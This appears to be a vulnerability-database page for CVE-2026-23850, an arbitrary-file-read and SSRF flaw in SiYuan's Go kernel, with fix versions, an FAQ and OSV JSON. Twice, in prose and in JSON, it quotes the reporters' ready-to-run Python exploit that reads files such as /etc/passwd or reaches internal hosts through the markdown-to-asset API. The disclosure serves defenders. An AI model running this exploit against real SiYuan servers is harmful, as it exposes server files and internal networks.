CVE-2026-23850: Github.com/siyuan note/siyuan/kernel SiYuan Vulnerable To Arbitrary File Vulnerability

HIGH
Advisory Identifier: GHSA-cv54-7wv7-qxcw
CWE-22
Published
Advisory Summary

CVE-2026-23850 is a HIGH siyuan vulnerable to arbitrary file vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/siyuan note/siyuan/kernel libraries in the Go ecosystem. The issue involves siyuan vulnerable to arbitrary file read / ssrf. Remediation is available by upgrading affected packages to version 0.0.0-20260118092326-b2274baba2e1.

CVE-2026-23850 at a Glance

CVE Identifier CVE-2026-23850
GHSA Identifier GHSA-cv54-7wv7-qxcw
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Github.com/siyuan note/siyuan/kernel
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-23850

To remediate this vulnerability, upgrade all affected Github.com/siyuan note/siyuan/kernel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/siyuan-note/siyuan/kernel fixed: 0.0.0-20260118092326-b2274baba2e1
Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260118092326-b2274baba2e1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-23850, inspect your project dependencies for Github.com/siyuan note/siyuan/kernel:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

Analyze the terminal output to locate any version of Github.com/siyuan note/siyuan/kernel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260118092326-b2274baba2e1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/siyuan note/siyuan/kernel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Markdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access We in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : ) Please note that we used the latest Version and deployed it via this dockerfile : Dockerfile: ``` FROM b3log/siyuan ENV TZ=America/New_York \ PUID=1000 \ PGID=1000 \ SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword RUN mkdir -p /siyuan/workspace COPY ./startup.sh /opt/siyuan/startup.sh RUN chmod +x /opt/siyuan/startup.sh EXPOSE 6806 ENTRYPOINT ["sh", "-c", "/opt/siyuan/startup.sh"] ``` startup.sh ```sh #!/bin/sh set -e echo "nullctf{secret}" > "/flag_random.txt" exec ./entrypoint.sh ``` docker-compose.yaml: ```yaml services: main: build: . ports: - 6806:6806 restart: unless-stopped environment: - TZ=America/New_York - PUID=1000 - PGID=1000 container_name: archivists_whisper ``` ### Details As you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886 in `createDocWithMd` function the `markdown` parameter is being passed to the model.CreateWithMarkdown without any sanitization while here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to `luteEngine.Md2BlockDOM(md, false)` without any sanitization too ### PoC Here is a full Python POC ready to run ```py import requests, sys, os if len(sys.argv) >= 5 : TARGET = sys.argv[1].rstrip("/") PASSWORD = sys.argv[2] attack_type = sys.argv[3] if attack_type == "LFD": file_path = f"file://{sys.argv[4]}" elif attack_type == "SSRF": file_path = f"{sys.argv[4]}" else: sys.exit(f"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link") TARGET = "http://127.0.0.1:6806" PASSWORD = "SuperSecretPassword" # Workgroup password file_path = "/etc/passwd" # file to read s = requests.Session() def login(): s.post(f"{TARGET}/api/system/loginAuth", json={"authCode": PASSWORD, "rememberMe": True}) def list_notebooks(): res = s.post(f"{TARGET}/api/notebook/lsNotebooks").json() notebooks = res["data"]["notebooks"] if not notebooks: raise RuntimeError("No notebooks found – create one in the UI first") notebook = notebooks[0]["id"] return notebook def file_to_md(notebook, file_path): doc_id = s.post( f"{TARGET}/api/filetree/createDocWithMd", json={ "notebook": notebook, "path": "/pwn", "markdown": f"[loot]({file_path})" }, ).json()["data"] return doc_id def convert_file_to_asset(doc_id): res = s.post(f"{TARGET}/api/format/netAssets2LocalAssets", json={"id": doc_id}) # print(f"Debug : convert", res.text) def get_new_file_name_from_assets(file_path): res = s.post(f"{TARGET}/api/file/readDir", json={"path": "/data/assets"}).json()["data"] if attack_type == "LFD": new_file_name = f"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-" else: new_file_name = f"network-asset-{os.path.basename(file_path)}-" # print(new_file_name) for file in res: # print(file["name"]) if new_file_name in file["name"]: return file["name"] def retrieve_file_content(file_name): return s.get(f"{TARGET}/assets/{file_name}").text login() notebook = list_notebooks() doc_id = file_to_md(notebook, file_path) # print(f"Debug : Docid", doc_id) convert_file_to_asset(doc_id) file_name = get_new_file_name_from_assets(file_path) file_content = retrieve_file_content(file_name) if len(file_content) > 0 : print("Content : ", file_content) else: print(f"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name") ``` ### File read <img width="928" height="333" alt="image" src="https://github.com/user-attachments/assets/8b6c81b9-106d-4d41-beaf-29ee3f6413cb" /> <img width="800" height="143" alt="image" src="https://github.com/user-attachments/assets/87a6fab8-d1a7-4690-b157-4c6250b67b8a" /> ### SSRF : We spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy <img width="822" height="63" alt="image" src="https://github.com/user-attachments/assets/9842aad2-1ade-45c0-9db1-fc049cf6b4cf" /> ### Impact As shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : ) ### Solution https://github.com/siyuan-note/siyuan/issues/16860

CVE-2026-23850 Affected Github.com/siyuan note/siyuan/kernel Versions

1 component(s)
Fixed Versions:
0.0.0-20260118092326-b2274baba2e1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/siyuan-note/siyuan/kernel
Go
< 0.0.0-20260118092326-b2274baba2e1
0.0.0-20260118092326-b2274baba2e1

References

Frequently Asked Questions

What is CVE-2026-23850?
CVE-2026-23850 is a security vulnerability in Github.com/siyuan note/siyuan/kernel involving SiYuan vulnerable to Arbitrary file Read / SSRF under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Github.com/siyuan note/siyuan/kernel versions are affected?
Affected versions include releases prior to 0.0.0-20260118092326-b2274baba2e1 across affected packages: github.com/siyuan-note/siyuan/kernel.
What version fixes CVE-2026-23850?
Upgrading to 0.0.0-20260118092326-b2274baba2e1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/siyuan-note/siyuan/kernel affected?
Yes, github.com/siyuan-note/siyuan/kernel is affected in releases prior to 0.0.0-20260118092326-b2274baba2e1. Upgrade your dependency to 0.0.0-20260118092326-b2274baba2e1 or later.
What CWE is associated with CVE-2026-23850?
CVE-2026-23850 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-23850?
Run the dependency tree command: 'inspect dependencies for github.com/siyuan-note/siyuan/kernel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cv54-7wv7-qxcw",
  "modified" : "2026-01-21T01:02:00Z",
  "published" : "2026-01-21T01:02:00Z",
  "aliases" : [ "CVE-2026-23850" ],
  "summary" : "SiYuan vulnerable to Arbitrary file Read / SSRF",
  "details" : "### Summary\nMarkdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access\nWe in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way :  )\n\nPlease note that we used the latest Version and deployed it via this dockerfile : \n\nDockerfile:\n```\nFROM b3log/siyuan\n\nENV TZ=America/New_York \\\n    PUID=1000 \\\n    PGID=1000 \\\n    SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword\n    \nRUN mkdir -p /siyuan/workspace\n\nCOPY ./startup.sh /opt/siyuan/startup.sh\nRUN chmod +x /opt/siyuan/startup.sh\n\nEXPOSE 6806\n\nENTRYPOINT [\"sh\", \"-c\", \"/opt/siyuan/startup.sh\"]\n```\n\nstartup.sh\n```sh\n#!/bin/sh\nset -e\necho \"nullctf{secret}\" > \"/flag_random.txt\"\nexec ./entrypoint.sh\n\n```\ndocker-compose.yaml:\n\n```yaml\nservices:\n  main:\n    build: .\n    ports:\n      - 6806:6806\n    restart: unless-stopped\n    environment:\n      - TZ=America/New_York\n      - PUID=1000\n      - PGID=1000\n    container_name: archivists_whisper\n```\n### Details\nAs you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886\nin `createDocWithMd` function\nthe `markdown` parameter is being passed to the model.CreateWithMarkdown without any sanitization \nwhile here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to `luteEngine.Md2BlockDOM(md, false)`  without any sanitization too\n\n### PoC\nHere is a full Python POC ready to run \n```py\nimport requests, sys, os\n\nif len(sys.argv) >= 5 :\n    TARGET = sys.argv[1].rstrip(\"/\")\n    PASSWORD = sys.argv[2]\n    attack_type = sys.argv[3]\n    if attack_type == \"LFD\":\n        file_path = f\"file://{sys.argv[4]}\"\n    elif attack_type == \"SSRF\":\n        file_path = f\"{sys.argv[4]}\"\nelse:\n    sys.exit(f\"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link\")\n    TARGET = \"http://127.0.0.1:6806\"\n    PASSWORD = \"SuperSecretPassword\" # Workgroup password\n    file_path = \"/etc/passwd\" # file to read\n\ns  = requests.Session()\n\ndef login():\n    s.post(f\"{TARGET}/api/system/loginAuth\", json={\"authCode\": PASSWORD, \"rememberMe\": True})\n\n\ndef list_notebooks():\n    res = s.post(f\"{TARGET}/api/notebook/lsNotebooks\").json()\n    notebooks = res[\"data\"][\"notebooks\"]\n    if not notebooks:\n        raise RuntimeError(\"No notebooks found – create one in the UI first\")\n    notebook = notebooks[0][\"id\"]\n    return notebook\n\ndef file_to_md(notebook, file_path):\n    doc_id = s.post(\n    f\"{TARGET}/api/filetree/createDocWithMd\",\n    json={\n        \"notebook\": notebook,\n        \"path\": \"/pwn\",\n        \"markdown\": f\"[loot]({file_path})\"\n    },\n    ).json()[\"data\"]\n    return doc_id\n\ndef convert_file_to_asset(doc_id):\n    res = s.post(f\"{TARGET}/api/format/netAssets2LocalAssets\", json={\"id\": doc_id})\n    # print(f\"Debug : convert\", res.text)\n\ndef get_new_file_name_from_assets(file_path):\n    res = s.post(f\"{TARGET}/api/file/readDir\", json={\"path\": \"/data/assets\"}).json()[\"data\"]\n    if attack_type == \"LFD\":\n        new_file_name = f\"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-\"\n    else:\n        new_file_name = f\"network-asset-{os.path.basename(file_path)}-\"\n    # print(new_file_name)\n    for file in res:\n        # print(file[\"name\"])\n        if new_file_name in file[\"name\"]:\n            return file[\"name\"]\n            \n\ndef retrieve_file_content(file_name):\n    return s.get(f\"{TARGET}/assets/{file_name}\").text\n\n\nlogin()\nnotebook = list_notebooks()\ndoc_id = file_to_md(notebook, file_path)\n# print(f\"Debug : Docid\", doc_id)\nconvert_file_to_asset(doc_id)\nfile_name = get_new_file_name_from_assets(file_path)\nfile_content = retrieve_file_content(file_name)\nif len(file_content) > 0 :\n    print(\"Content : \", file_content)\nelse:\n    print(f\"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name\")\n```\n\n### File read\n<img width=\"928\" height=\"333\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8b6c81b9-106d-4d41-beaf-29ee3f6413cb\" />\n<img width=\"800\" height=\"143\" alt=\"image\" src=\"https://github.com/user-attachments/assets/87a6fab8-d1a7-4690-b157-4c6250b67b8a\" />\n\n### SSRF : \nWe spawned a python server at /tmp  : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy\n\n<img width=\"822\" height=\"63\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9842aad2-1ade-45c0-9db1-fc049cf6b4cf\" />\n\n\n### Impact\nAs shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )\n\n### Solution\n\nhttps://github.com/siyuan-note/siyuan/issues/16860",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260118092326-b2274baba2e1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-cv54-7wv7-qxcw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23850"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/issues/16860"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/commit/b2274baba2e11c8cf8901b0c5c871e5b27f1f6dd"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/commit/f8f4b517077b92c90c0d7b51ac11be1b34b273ad"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-21T01:02:00Z",
    "nvd_published_at" : "2026-01-19T20:15:49Z"
  }
}